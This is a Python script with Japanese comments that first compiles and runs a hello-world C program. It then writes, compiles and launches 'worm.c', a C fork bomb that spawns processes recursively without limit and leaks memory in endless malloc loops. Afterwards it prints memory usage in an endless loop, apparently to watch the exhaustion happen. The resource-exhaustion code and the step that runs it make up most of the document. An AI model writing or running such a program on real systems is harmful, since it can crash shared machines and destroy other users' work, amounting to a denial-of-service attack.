#c言語のスクリプトを文字列に格納してファイルに書き込む。
code = """
#include <stdio.h>
int main(){
puts("Hello, world!");
return 0;
}
"""
with open("hello.c","w") as f:
f.write(code)
#ファイル確認
import os
print(os.listdir())
#コンパイル
import subprocess
subprocess.run(["gcc","-o","hello","./hello.c"])
#helloがある
print(os.listdir())
#実行できる
print(subprocess.check_output(["./hello"]).decode())
code = """
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/wait.h>
#define NUM_WORKER 5
void worm(int egg){
double* buf;
pid_t pid[NUM_WORKER];
for(int i=0;i<NUM_WORKER;i++){
pid[i] = fork();
if(pid[i]==0){
worm(1);
}
}
if(egg){
while(1){
buf = (double*)malloc(sizeof(double)*10000);
if(buf==NULL){
puts("malloc fail");
}
buf = 0;
}
}
}
int main(){
pid_t pid[NUM_WORKER];
for(int i=0;i<NUM_WORKER;i++){
pid[i] = fork();
if(pid[i]==0){
worm(0);
}
}
return 0;
}
"""
with open("worm.c","w") as f:
f.write(code)
print(os.listdir())
#コンパイル
import subprocess
subprocess.run(["gcc","-o","worm","./worm.c"])
#wormがある
print(os.listdir())
#メモリの様子を見たいため、スレッドで実行
import threading
import time
import psutil
def bug():
subprocess.run(["./worm"])
thread1 = threading.Thread(target=bug)
thread1.start()
thread1.join()
print(" used memory ")
while(True):
print(psutil.virtual_memory())
time.sleep(2)